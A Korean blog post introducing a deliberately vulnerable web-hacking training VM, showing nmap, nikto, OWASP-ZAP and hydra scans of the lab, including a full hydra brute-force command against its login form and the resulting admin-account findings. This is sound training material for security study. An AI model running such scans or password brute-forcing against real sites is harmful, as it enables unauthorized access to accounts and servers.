홈페이지 취약점 분석 이야기 파일 지도 사진 깨알






>> 목록보이기
#WH-Account-01 #웹해킹 훈련장 #Live ISO #취약한 회원정보 처리 #autocomplete #password autocomplete #nmap #nikto #owasp-zap #hydra

WH-Account-01: 회원가입 정보처리가 취약한 웹해킹훈련장 (소개)

이 훈련장에서는 회원가입시 회원정보를 저장할 때 발생하는 취약점을 다룬다. WH-ACCOUNT-02 훈련장의 회원정보 갱신시의 취약점보다는 빈도가 낮지만, 실제 서비스에서 가끔씩 발견되는 취약점이다. 회원가입 과정에서 관리자 권한을 획득하고 관리 기능을 이용하여 웹서버에 침투할 수 있다. 여기서는 부팅 과정을 소개하고, 각종 공개 취약점 스캐너로 점검한 결과를 수록하였다.

[ WH-Account-01 Live ISO 파일 내려받기 ]

위의 파일을 내려받아서 적당한 위치에 저장한다. VMWare Player나 VirtualBox를 이용하여 손님운영체제로 구동한다. 이때 메모리는 256MB이상이면 되고, 가상디스크는 설정하지 않아도 된다. 부팅이 끝나면 root:root로 로그인하고 ifconfig 명령어로 IP주소를 확인한다. 이 설명서에서의 훈련장 IP주소는 192.168.206.136이다.

wh-account-01 훈련장 홈페이지
[ WH-Account-01 훈련장 누리집 첫 화면 ]

위 그림은 파이어폭스에서 WH-Account-01 훈련장(http://192.168.206.136/에 접속한 화면이다. 아이디, 비밀번호를 입력하여 로그인하거나 회원가입을 할 수 있는 누리집이다. 파일은 목록만 보여주고 접근은 허용하지 않는다. 이 훈련장을 nmap, nikto, owasp-zap, hydra 등으로 점검해보자.

nmap 탐색 결과

nmap으로 WH-Account-01 훈련장 서버가 개방하고 있는 포트를 점검하였다.

root@kali:~# nmap -A 192.168.206.136

Starting Nmap 7.31 ( https://nmap.org ) at 2017-01-02 09:52 KST
Nmap scan report for 192.168.206.136
Host is up (0.00068s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd
|_http-server-header: Apache
|_http-title: \xEC\xB7\xA8\xEC\x95\xBD\xED\x95\x9C \xED\x9A\x8C\xEC\x9B\x90\xEC\xA0\x95\xEB\xB3\xB4 \xEC\xB2\x98\xEB\xA6\xAC ::: \xEC\x9B\xB9\xED\x95\xB4\xED\x82\xB9/\xED\x99\x88\xED\x8E\x98\xEC\x9D\xB4\xEC\xA7\x80\xEC\xB7\xA8\xEC\x95\xBD...
MAC Address: 00:0C:29:DE:78:BC (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.36 - 2.6.37, Linux 2.6.37
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.68 ms 192.168.206.136

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.67 seconds
root@kali:~#

WH-Account-01 훈련장 서버는 80 포트에서 Apache httpd 기반으로 홈페이지를 운영하고 있다. 아마도 운영체제는 2.6.X 커널 기반의 리눅스로 추정된다(이 경우에는 실제로 커널 버전이 2.6.37이므로 nmap이 비교적 정확한 것을 확인할 수 있다).

nikto 스캐너 탐색 결과

80포트에서 HTTP 서비스가 발견되었으므로 nikto를 실행하여 웹서비스 구성에서의 취약점을 탐색한다. 결과는 아래와 같다.

root@kali:~# nikto -host 192.168.206.136
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.206.136
+ Target Hostname:    192.168.206.136
+ Target Port:        80
+ Start Time:         2017-01-02 09:55:28 (GMT9)
---------------------------------------------------------------------------
+ Server: Apache
+ Cookie PHPSESSID created without the httponly flag
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ 7535 requests: 0 error(s) and 2 item(s) reported on remote host
+ End Time:           2017-01-02 09:55:39 (GMT9) (11 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
root@kali:~#

세션 쿠키인 PHPSESSID에 대해서 HttpOnly 속성이 활성화되지 않았다. XSS 공격이 가능할 경우에는 사용자의 세션을 탈취할 수 있는 가능성을 확인할 수 있다.

OWASP-ZAP의 웹 어플리케이션 취약점 탐색 결과

OWASP-ZAP의 "빠른 시작" 기능을 이용하여 WH-Account-01 훈련장을 스캔하였다.

wh-account-01 훈련장 OWASP-ZAP Active Scan Result
[ WH-Account-01 훈련장의 OWASP-ZAP 웹취약점점검 결과 화면 ]

OWASP-ZAP에서는 nikto에서와 마찬가지로 PHPSESSID에 대한 HttpOnly 미설정 문제를 지적하고 있다. 더불어 "비밀번호 자동채움"(Password Autocomplete)이 가능하다는 점을 탐지하였다. 둘 모두 위험도는 낮음(하)이다.

비밀번호 자동채움(Password Autocomplete) 기능을 비활성화하기 위해서는 <input>autocomplete 속성을 "off"로 설정하면 된다. 예를 들어 비밀번호의 자동채움을 막고자 하면 <input type="password" name="pw" autocomplete="off" />와 같이 쓰면 된다. 이렇게 하면 웹 브라우저가 해당 누리집의 비밀번호를 저장하지 않는다. 웹 브라우저 자체에 취약점이 있을 경우를 대비하여, 브라우저 내에 저장된 비밀번호 정보를 탈취당하지 않기 위한 방법이다. 그러나 사용자 편의성 문제 때문에 - 금융권을 제외한 - 대부분의 누리집에서는 사용하지 않는다.

비밀번호 무작위 대입 공격(THC Hydra)

WH-Account-01 누리집은 사용자 로그인 기능이 있다. 비밀번호가 취약하게 설정된 시험 계정이나 관리자 계정이 존재하는 지 hydra로 점검해보자. USER:PASS로 로그인하는 과정의 HTTP 요청과 HTTP 응답은 다음과 같았다.

[HTTP 요청]
POST http://192.168.206.136/login.php HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://192.168.206.136/index.php
Cookie: PHPSESSID=fo89764m25gnd4nv3pka0iueh6
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
Host: 192.168.206.136

userId=USER&userPw=PASS
[HTTP 응답]
HTTP/1.1 200 OK
Date: Mon, 02 Jan 2017 11:28:23 GMT
Server: Apache
X-Frame-Options: DENY
X-XSS-Protection: 1
X-Content-Type-Options: nosniff
Content-Length: 60
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

<script>alert('ID does not exist.');history.back();</script>

위의 HTTP 응답에서 ID가 존재하지 않을 때는 ID does not exist.이나 history.back이라는 문자열이 나타난다는 것을 볼 수 있다. 이를 바탕으로 다음과 같이 hydra를 이용하여 취약한 계정을 점검하였다. 취약한 계정목록과 비밀번호 목록은 weakuser.txtweakpass.txt이다.

root@kali:~# hydra 192.168.206.136 http-form-post "/login.php:userId=^USER^&userPw=^PASS^:history.back" -L weakuser.txt -P weakpass.txt
Hydra v8.3 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2017-01-02 11:40:18
[DATA] max 16 tasks per 1 server, overall 64 tasks, 9095 login tries (l:17/p:535), ~8 tries per task
[DATA] attacking service http-post-form on port 80
[80][http-post-form] host: 192.168.206.136   login: admin   password: 123456
[80][http-post-form] host: 192.168.206.136   login: admin   password: password
[80][http-post-form] host: 192.168.206.136   login: admin   password: 12345678
[80][http-post-form] host: 192.168.206.136   login: admin   password: qwerty
[80][http-post-form] host: 192.168.206.136   login: admin   password: 123456789
[80][http-post-form] host: 192.168.206.136   login: admin   password: 12345
[80][http-post-form] host: 192.168.206.136   login: admin   password: 1234
[80][http-post-form] host: 192.168.206.136   login: admin   password: 111111
[80][http-post-form] host: 192.168.206.136   login: admin   password: 1234567
[80][http-post-form] host: 192.168.206.136   login: admin   password: dragon
[80][http-post-form] host: 192.168.206.136   login: admin   password: 123123
[80][http-post-form] host: 192.168.206.136   login: admin   password: baseball
[80][http-post-form] host: 192.168.206.136   login: admin   password: abc123
[80][http-post-form] host: 192.168.206.136   login: admin   password: football
[80][http-post-form] host: 192.168.206.136   login: admin   password: monkey
[80][http-post-form] host: 192.168.206.136   login: admin   password: letmein
[STATUS] 2374.00 tries/min, 2374 tries in 00:01h, 6721 to do in 00:03h, 16 active
[STATUS] 2060.33 tries/min, 6181 tries in 00:03h, 2914 to do in 00:02h, 16 active
[STATUS] 2019.25 tries/min, 8077 tries in 00:04h, 1018 to do in 00:01h, 16 active
1 of 1 target successfully completed, 16 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2017-01-02 11:44:50
root@kali:~#

hydra 탐색 결과에서 16개의 계정:비번 조합이 탐지되었다. 그런데 살펴보면 ID가 모두 admin이다. 이 ID로 로그인을 시도했을 때의 응답은 다음과 같았다.

[ID=admin일 경우의 HTTP 응답]
HTTP/1.1 302 Found
Date: Mon, 02 Jan 2017 13:53:28 GMT
Server: Apache
X-Frame-Options: DENY
X-XSS-Protection: 1
X-Content-Type-Options: nosniff
Location: index.php
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

로그인 과정에서 존재하지 않는 ID일 경우에는 <script>alert('ID does not exist.');history.back();</script>라는 문자열을 출력한다. 그렇다면 - 서버의 반응이 달랐으므로 - admin은 아마도 존재하는 ID일 것으로 추정할 수 있다. admin으로 로그인에 실패할 때의 서버 반응이 로그인에 성공할 때와 동일해서 더 이상의 무작위대입추출 공격이 어렵다.

마무리

공개용 취약점 점검 도구로는 다음과 같은 결론을 얻을 수 있다.

  1. 세션쿠키(PHPSESSID)에 HttpOnly 미설정인 상태이므로 HTML 삽입이 가능한 취약점을 추가로 발견하게 된다면 세션탈취가 가능할 수 있다.
  2. 아마도 관리자 계정의 ID는 admin일 것이다.

위와 같은 결과를 바탕으로 수동점검에서는 HTTP 통신을 분석하면서 XSS 취약점이나 회원가입시에 존재할 수 있는 취약점을 점검하면 된다.

[처음 작성한 날: 2017.01.02]    [마지막으로 고친 날: 2017.01.02] 


< 이전 글 : WH-Deface-01 웹해킹훈련장 실습 설명서 (2017.01.04)

> 다음 글 : WH-Account-01 웹해킹훈련장 실습 설명서 (2017.01.03)


크리에이티브 커먼즈 라이선스 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다.
잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다.
문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문

.. -- -- | - .. .... | ... / .. .../ ... {] . .. .. .. ..| ...... .../ .../ .. ...... ... ... ] .. [ .../ ..../ ......./ .. ./// ../ ... .. ... .. -- -- | - .. .... | ... / .. .../ ... {] . .. .. .. ..| ...... .../ .../ .. ./// ../ ... .. ... ...| ..../ ./ ... / ..| ....| ........ / ... / .... ...... ... ... ] .. [ .../ ..../ ......./ .....| ..../ ./ ... / ..| ....| ........ / ... / .... ...| ..../ ./ ... / ..| ....| ........ / ... / .... . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .